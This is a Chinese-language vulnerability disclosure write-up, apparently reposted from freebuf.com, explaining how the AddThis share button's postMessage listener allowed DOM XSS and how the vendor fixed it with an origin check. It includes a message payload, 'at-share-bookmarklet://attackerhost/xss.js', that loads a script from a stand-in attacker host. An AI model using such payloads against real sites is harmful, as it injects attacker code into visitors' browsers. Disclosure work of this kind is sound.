流行应用addthis存在postmessage xss漏洞漏洞,百万站点受影响-k8凯发游戏

流行应用addthis存在postmessage xss漏洞漏洞,百万站点受影响
作者:freebuf.com 发布时间:2016-12-25

addthis是一款拥有超过一百万用户使用的网页分享按钮。在今年早些被发现存在xss漏洞。在之前的一篇文章有描述到postmessage api缺陷。而本文将描述我是如何识别然后利用addthis分享按钮中存在的这些漏洞。

当我在测试一个使用addthis的网站的时候,透过chrome开发者工具的全局监听器,我注意到它使用了postmessage。

为了判断它们是否存在漏洞,我在chrome开发者工具中的的监听器内设置了一个断点,之后使用

window.postmessage("hello", "*")
向页面发送消息

检查监听器

代码没有进行来源检查,除此之外来源必须是http/https页面。从5364行可以得知消息的预期格式:

继续进行调试,我们以合适的格式发送消息,使代码在5370行结束,调用r函数。 
完成对r函数的调用之后接着调用s函数:

说起s函数就非常有趣。它似乎创建了一个新的脚本元素(或许是dom xss?)

反压缩

为了理解这个函数的作用,我通过命名变量和删除多行语句来进行反混淆。

阅读经过反压缩的代码版本,可以得出结论,发送消息的格式大抵如此:

at-share-bookmarklet://attackerhost/xss.js
它会新增一个新的脚本元素到包含了“//attackerdomain/xss.js”的页面。换句话说,存在dom xss漏洞。

poc

攻击者能够攻击任何使用了addthis的网站(存在dom xss)。给出我写的exploit供大家参考:

修复

我和matt abrams(addthis的cto)进行了交流,他保证会尽快修复该漏洞并及时推送给终端用户。该修复方案增加了一个来源检查以确保消息不会从未知来源发出。

总结

简言之,postmessage通常会导致dom xss漏洞。如果你正在使用第三方脚本,一定要去检查下postmessage实现。


网站地图